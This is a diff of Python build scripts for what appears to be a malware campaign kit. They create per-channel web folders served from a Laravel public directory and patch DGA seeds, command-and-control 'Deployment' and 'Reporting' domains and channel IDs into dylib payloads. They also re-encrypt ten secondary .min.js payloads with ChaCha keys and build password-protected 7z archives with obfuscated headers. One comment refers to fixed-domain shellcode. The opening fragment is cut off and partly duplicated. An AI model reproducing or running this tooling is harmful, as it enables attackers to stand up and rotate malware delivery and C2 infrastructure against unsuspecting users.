raise SystemExit(f"missing source campaign: {src_campaign}")
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
dst_web = APPLY_ROOT / "web"
dst_sync = APPLY_ROOT / "sync"
web_root = APPLY_ROOT / "web"
sync_dir = APPLY_ROOT / "sync"
out_root = APPLY_ROOT / "out"
out_root.mkdir(parents=True, exist_ok=True)
web_root.mkdir(parents=True, exist_ok=True)
print("=== reset server/public from source ===")
print(f"from: {SOURCE_ROOT}")
print(f"to: {APPLY_ROOT}/{{web,sync}}")
replace_tree(src_web, dst_web)
replace_tree(src_sync, dst_sync)
print(f"copied web/ ({CAMPAIGN_HASH}) + sync/")
channel = pick_channel(args.channel_id, web_root)
campaign_dir = web_root / channel
if args.skip_patch:
print("skip-patch: done (source copy only)")
return 0
print("=== new_project ===")
print(f"channel: {channel}")
print(f"web dest: {campaign_dir}")
print(f" deployment: {', '.join(fixed_dep)}")
print(f" reporting: {', '.join(fixed_rep)}")
print(f" seeds: derived from domains (stable)")
print()
cmd = [
sys.executable,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(APPLY_ROOT),
"-n",
str(args.count),
]
if args.deployment_seed:
cmd += ["--deployment-seed", args.deployment_seed]
if args.reporting_seed:
cmd += ["--reporting-seed", args.reporting_seed]
for item in args.deployment_domains:
cmd += ["--deployment-domains", item]
for item in args.reporting_domains:
cmd += ["--reporting-domains", item]
print("=== copy campaign template ===")
print(f"from: {src_campaign}")
print(f"to: {campaign_dir}")
copy_campaign_template(campaign_dir)
print(f"created web/{channel}/")
print("=== reset sync from source ===")
replace_tree(src_sync, sync_dir)
print(f"copied sync/ -> {sync_dir}")
domain_args: list[str] = []
for item in fixed_dep:
domain_args += ["--deployment-domains", item]
for item in fixed_rep:
domain_args += ["--reporting-domains", item]
print()
print("=== patch_all --apply ===")
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
run(
[
sys.executable,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(APPLY_ROOT),
"--channel-id",
channel,
"--deployment-seed",
dep_seed,
"--reporting-seed",
rep_seed,
*domain_args,
]
)
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
out_root = APPLY_ROOT / "out"
print()
print("=== ready ===")
print(f"web: {dst_web / CAMPAIGN_HASH}")
print(f"sync: {dst_sync}")
print(f"seeds: {out_root / 'seeds.json'}")
print(f"web: {campaign_dir}")
print(f"sync: {sync_dir}")
print(f"channel: {out_root / 'channel.json'}")
print(f"domains: {out_root / 'domains.json'}")
print()
print("served by Laravel public:")
print(f" /web/{CAMPAIGN_HASH}/support.html")
print(f" /web/{channel}/support.html")
print(" /sync/daily.html")
return 0
+299
View File
@@ -0,0 +1,299 @@
#!/usr/bin/env python3
"""Build server/public campaign trees from source/ with new channel + domains.
Each run creates a new web/<channel-id>/ (32 hex). sync/ is rebuilt only when
Deployment/Reporting domains change (or on first run). Re-running with the same
domains only adds another web/<channel-id>/ and leaves sync/ + prior campaigns.
"""
from __future__ import annotations
import argparse
import json
import shutil
import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _domain_patch import parse_domain_list
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
APPLY_ROOT = LAB_ROOT / "server" / "public"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def replace_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
def copy_campaign_template(dst_campaign: Path) -> None:
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
if not src.is_dir():
raise SystemExit(f"missing source campaign: {src}")
if dst_campaign.exists():
raise SystemExit(f"campaign already exists: {dst_campaign}")
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
def load_json(path: Path) -> dict | None:
if not path.is_file():
return None
return json.loads(path.read_text())
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
if not prev or prev.get("mode") != "fixed_domains":
return False
return (
prev.get("deployment", {}).get("domains") == dep
and prev.get("reporting", {}).get("domains") == rep
)
def pick_channel(explicit: str | None, web_root: Path) -> str:
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
while (web_root / channel).exists():
if explicit:
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
channel = gen_channel_id()
return channel
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"From source/, create server/public/web/<channel-id>/ with a new "
"channel id and patched secondary packs; rebuild sync/ when domains change."
)
)
parser.add_argument(
"--channel-id",
help="optional 32-hex channel id (default: random, unique under web/)",
)
parser.add_argument("--deployment-seed", help="optional; default: random or reuse")
parser.add_argument("--reporting-seed", help="optional; default: random or reuse")
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (comma-separated or repeatable)",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print when not using fixed domains (default 5)",
)
parser.add_argument(
"--force-sync",
action="store_true",
help="rebuild sync/ even when domains match the previous project",
)
parser.add_argument(
"--skip-patch",
action="store_true",
help="only copy source campaign+sync into server/public (no binary patch)",
)
args = parser.parse_args()
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if not args.deployment_domains and not args.skip_patch:
raise SystemExit(
"new_project requires --deployment-domains / --reporting-domains "
"(or --skip-patch for a raw source copy)"
)
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir():
raise SystemExit(f"missing source campaign: {src_campaign}")
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
web_root = APPLY_ROOT / "web"
sync_dir = APPLY_ROOT / "sync"
out_root = APPLY_ROOT / "out"
out_root.mkdir(parents=True, exist_ok=True)
web_root.mkdir(parents=True, exist_ok=True)
channel = pick_channel(args.channel_id, web_root)
campaign_dir = web_root / channel
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
else None
)
fixed_rep = (
parse_domain_list(args.reporting_domains, label="reporting")
if args.reporting_domains
else None
)
prev_domains = load_json(out_root / "domains.json")
prev_seeds = load_json(out_root / "seeds.json")
sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file()
same_domains = (
fixed_dep is not None
and fixed_rep is not None
and domains_equal(prev_domains, fixed_dep, fixed_rep)
and sync_ready
and not args.force_sync
)
print("=== new_project ===")
print(f"channel: {channel}")
print(f"web dest: {campaign_dir}")
if fixed_dep is not None:
print(f"domains: {'reuse sync (unchanged)' if same_domains else 'rebuild sync'}")
print(f" deployment: {', '.join(fixed_dep)}")
print(f" reporting: {', '.join(fixed_rep)}")
print()
print("=== copy campaign template ===")
print(f"from: {src_campaign}")
print(f"to: {campaign_dir}")
copy_campaign_template(campaign_dir)
print(f"created web/{channel}/")
if args.skip_patch:
if not sync_ready:
print("=== copy sync from source ===")
replace_tree(src_sync, sync_dir)
(out_root / "channel.json").write_text(
json.dumps({"channel_id": channel, "patched": False}, indent=2) + "\n"
)
print("skip-patch: done")
return 0
assert fixed_dep is not None and fixed_rep is not None
py = sys.executable
domain_args: list[str] = []
for item in fixed_dep:
domain_args += ["--deployment-domains", item]
for item in fixed_rep:
domain_args += ["--reporting-domains", item]
if same_domains:
# Reuse seeds so fixed-domain shellcode matches existing sync/.
dep = args.deployment_seed or (prev_seeds or {}).get("deployment_seed")
rep = args.reporting_seed or (prev_seeds or {}).get("reporting_seed")
if not dep or not rep:
raise SystemExit(
"domains unchanged but out/seeds.json missing seeds; "
"pass --deployment-seed/--reporting-seed or --force-sync"
)
print("=== domains unchanged: patch secondary only ===")
print(f"reuse seeds dep={dep} rep={rep}")
run(
[
py,
str(TOOLS / "patch_secondary_packs.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"--channel-id",
channel,
*domain_args,
"--root",
str(APPLY_ROOT),
"--apply",
]
)
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"patched": True,
"sync_rebuilt": False,
"deployment_seed": dep,
"reporting_seed": rep,
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
else:
print("=== domains new/changed: reset sync + full patch ===")
replace_tree(src_sync, sync_dir)
print(f"copied sync/ -> {sync_dir}")
cmd = [
py,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(APPLY_ROOT),
"--channel-id",
channel,
"-n",
str(args.count),
*domain_args,
]
if args.deployment_seed:
cmd += ["--deployment-seed", args.deployment_seed]
if args.reporting_seed:
cmd += ["--reporting-seed", args.reporting_seed]
print()
print("=== patch_all --apply ===")
run(cmd)
seeds = load_json(out_root / "seeds.json") or {}
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"patched": True,
"sync_rebuilt": True,
"deployment_seed": seeds.get("deployment_seed"),
"reporting_seed": seeds.get("reporting_seed"),
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
print()
print("=== ready ===")
print(f"web: {campaign_dir}")
print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})")
print(f"channel: {out_root / 'channel.json'}")
print(f"seeds: {out_root / 'seeds.json'}")
print(f"domains: {out_root / 'domains.json'}")
print()
print("served by Laravel public:")
print(f" /web/{channel}/support.html")
print(" /sync/daily.html")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+42 -20
View File
@@ -11,10 +11,12 @@ import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def gen_seed() -> str:
@@ -32,25 +34,28 @@ def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
return {n for n in names if n in skip or n.endswith(".pyc")}
def ensure_working_tree(root: Path) -> None:
"""If web/sync missing under root, copy from source/ (same as new_project --skip-patch)."""
camp = root / "web" / CAMPAIGN_HASH
def ensure_working_tree(root: Path, channel: str) -> None:
"""Ensure sync/ and web/<channel>/ exist (copy from source template if needed)."""
camp = root / "web" / channel
sync = root / "sync"
if camp.is_dir() and sync.is_dir():
return
src_web = SOURCE_ROOT / "web"
src_camp = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir():
if not src_camp.is_dir() or not src_sync.is_dir():
raise SystemExit(
f"missing working tree and source template.\n"
f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}"
f"missing source template.\n"
f"expected: {src_camp} and {src_sync}"
)
print("=== bootstrap working tree from source/ ===")
for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")):
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}")
if not camp.is_dir() or not sync.is_dir():
print("=== bootstrap working tree from source/ ===")
if not sync.is_dir():
shutil.copytree(src_sync, sync, symlinks=False, ignore=_ignore_junk)
print(f"copied sync/ -> {sync}")
if not camp.is_dir():
camp.parent.mkdir(parents=True, exist_ok=True)
shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk)
print(f"copied campaign -> {camp}")
if not camp.is_dir() or not sync.is_dir():
raise SystemExit(f"failed to bootstrap {camp} / {sync}")
print()
@@ -63,6 +68,10 @@ def main() -> int:
)
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
parser.add_argument(
"--channel-id",
help="32-hex channel id for web/<id>/ + type-0x01 embed (default: random)",
)
parser.add_argument(
"--deployment-domains",
action="append",
@@ -83,7 +92,7 @@ def main() -> int:
parser.add_argument(
"--apply",
action="store_true",
help="write into --root web/ + sync/",
help="write into --root web/<channel-id>/ + sync/",
)
parser.add_argument(
"-n",
@@ -99,8 +108,10 @@ def main() -> int:
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
if args.apply and args.root:
ensure_working_tree(args.root.resolve())
ensure_working_tree(args.root.resolve(), channel)
fixed_mode = bool(args.deployment_domains)
dep = args.deployment_seed or gen_seed()
@@ -117,6 +128,7 @@ def main() -> int:
{
"deployment_seed": dep,
"reporting_seed": rep,
"channel_id": channel,
"mode": "fixed_domains" if fixed_mode else "dga",
},
indent=2,
@@ -124,8 +136,9 @@ def main() -> int:
+ "\n"
)
print("=== seeds ===")
print("=== seeds / channel ===")
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
print(f"channel: {channel}")
print(f"deployment: {dep}")
print(f"reporting: {rep}")
print(f"saved: {seeds_path}")
@@ -136,6 +149,7 @@ def main() -> int:
py = sys.executable
apply = ["--apply"] if args.apply else []
root = ["--root", str(args.root.resolve())] if args.root else []
channel_args = ["--channel-id", channel]
domain_args: list[str] = []
if fixed_mode:
for item in args.deployment_domains:
@@ -152,6 +166,7 @@ def main() -> int:
dep,
"--reporting-seed",
rep,
*channel_args,
*domain_args,
*root,
*apply,
@@ -177,7 +192,6 @@ def main() -> int:
domains_path = out_root / "domains.json"
if fixed_mode:
# Prefer MANIFEST from patch_core output
manifest_path = out_root / "sync" / "MANIFEST.json"
if not manifest_path.is_file():
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
@@ -212,8 +226,14 @@ def main() -> int:
domains["mode"] = "dga"
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
(out_root / "channel.json").write_text(
json.dumps({"channel_id": channel, "patched": True, "sync_rebuilt": True}, indent=2)
+ "\n"
)
print()
print("=== final domains ===")
print(f"channel={channel}")
print(f"deployment seed={dep}")
for i, domain in enumerate(domains["deployment"]["domains"], 1):
print(f" {i:03d} {domain}")
@@ -223,6 +243,8 @@ def main() -> int:
print()
print(f"seeds: {seeds_path}")
print(f"domains: {domains_path}")
if args.apply and args.root:
print(f"web: {args.root.resolve() / 'web' / channel}")
if not args.apply:
print("Note: outputs are under out/ only. Use new_project.py or --apply --root <project>.")
return 0
+20 -2
View File
@@ -60,6 +60,19 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
"""Build passworded 7z; cache by content so py7zr's random salt does not drift runs."""
cache_key = sha256_hex(
member_name.encode("utf-8")
+ b"\0"
+ password.encode("utf-8")
+ b"\0"
+ payload
)
cache_dir = LAB_ROOT / "out" / "7z_cache"
cache_path = cache_dir / cache_key
if cache_path.is_file():
return cache_path.read_bytes()
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp)
member = root / member_name
@@ -67,7 +80,11 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
archive = root / "out.7z"
with py7zr.SevenZipFile(archive, mode="w", password=password) as handle:
handle.write(member, arcname=member_name)
return archive.read_bytes()
data = archive.read_bytes()
cache_dir.mkdir(parents=True, exist_ok=True)
cache_path.write_bytes(data)
return data
def extract_daily_config_bytes() -> bytes:
@@ -139,7 +156,8 @@ def main() -> int:
if args.root:
set_tree_root(args.root)
ensure_tree_layout(tree_root())
# sync-only: campaign dirs are web/<channel-id>/ and may not match ORIGINAL
ensure_tree_layout(tree_root(), require_campaign=False)
if args.apply:
if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
+36 -9
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3
"""Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js."""
"""Patch DGA seeds / fixed domains / channel id in type-0x01 and rebuild .min.js."""
from __future__ import annotations
@@ -8,9 +8,11 @@ import json
import shutil
from pathlib import Path
from _channel_patch import patch_channel_in_dylib, validate_channel_id
from _common import (
GROUP_DYLIBS,
LAB_ROOT,
ORIGINAL_CHANNEL_ID,
SECONDARY_KEYS,
SOURCE_ROOT,
ensure_tree_layout,
@@ -28,8 +30,8 @@ import _common
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Replace Deployment/Reporting seeds in type-0x01 helpers and "
"re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)."
"Replace Deployment/Reporting seeds (and optional fixed domains / channel id) "
"in type-0x01 helpers, then re-encrypt all 10 secondary .min.js."
)
)
parser.add_argument(
@@ -42,6 +44,13 @@ def main() -> int:
required=True,
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
)
parser.add_argument(
"--channel-id",
help=(
f"new 32-hex channel id written into type-0x01 and used as web/<id>/ "
f"(default: keep {ORIGINAL_CHANNEL_ID})"
),
)
parser.add_argument(
"--root",
type=Path,
@@ -55,7 +64,7 @@ def main() -> int:
parser.add_argument(
"--apply",
action="store_true",
help="also copy outputs into <root>/web/.../",
help="also copy outputs into <root>/web/<channel-id>/",
)
parser.add_argument(
"--deployment-domains",
@@ -72,6 +81,11 @@ def main() -> int:
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
channel = (
validate_channel_id(args.channel_id)
if args.channel_id
else ORIGINAL_CHANNEL_ID
)
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
@@ -86,16 +100,19 @@ def main() -> int:
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.root:
set_tree_root(args.root)
ensure_tree_layout(tree_root())
set_tree_root(args.root, channel=channel)
ensure_tree_layout(tree_root(), channel=channel)
else:
_common.set_campaign_id(channel)
if args.apply:
if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
if tree_root().resolve() == SOURCE_ROOT.resolve():
raise SystemExit("refusing --apply into source/; create a project first")
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
# re-bind after set_tree_root
campaign_dir = _common.CAMPAIGN_DIR
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta["stems"]
@@ -121,6 +138,14 @@ def main() -> int:
reporting_seed=rep,
label=path.name,
)
if channel != ORIGINAL_CHANNEL_ID:
data = patch_channel_in_dylib(
data,
channel,
old_channel=ORIGINAL_CHANNEL_ID,
expect_hits=1,
label=path.name,
)
patched[group] = data
print(
f"group {group}: patched {path.name} "
@@ -137,7 +162,6 @@ def main() -> int:
group = info["group"]
key = bytes.fromhex(info["key"])
wire = encrypt_secondary_minjs(patched[group], key)
# sanity: decrypt back
check = decrypt_secondary_minjs(wire, key)
if check != patched[group]:
raise SystemExit(f"round-trip failed for {stem}")
@@ -156,6 +180,7 @@ def main() -> int:
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"channel_id": channel,
"mode": "fixed_domains" if fixed_dep is not None else "dga",
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
@@ -165,6 +190,7 @@ def main() -> int:
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
if args.apply:
campaign_dir.mkdir(parents=True, exist_ok=True)
for item in built:
src = out / f"{item['stem']}.min.js"
dst = campaign_dir / src.name
@@ -172,8 +198,9 @@ def main() -> int:
print(f"applied -> {dst}")
print(f"\nDone. Output: {out}")
print(f"channel: {channel}")
if not args.apply:
print(f"Re-run with --apply --root <project> to overwrite files under web/")
print(f"Re-run with --apply --root <project> to overwrite files under web/{channel}/")
return 0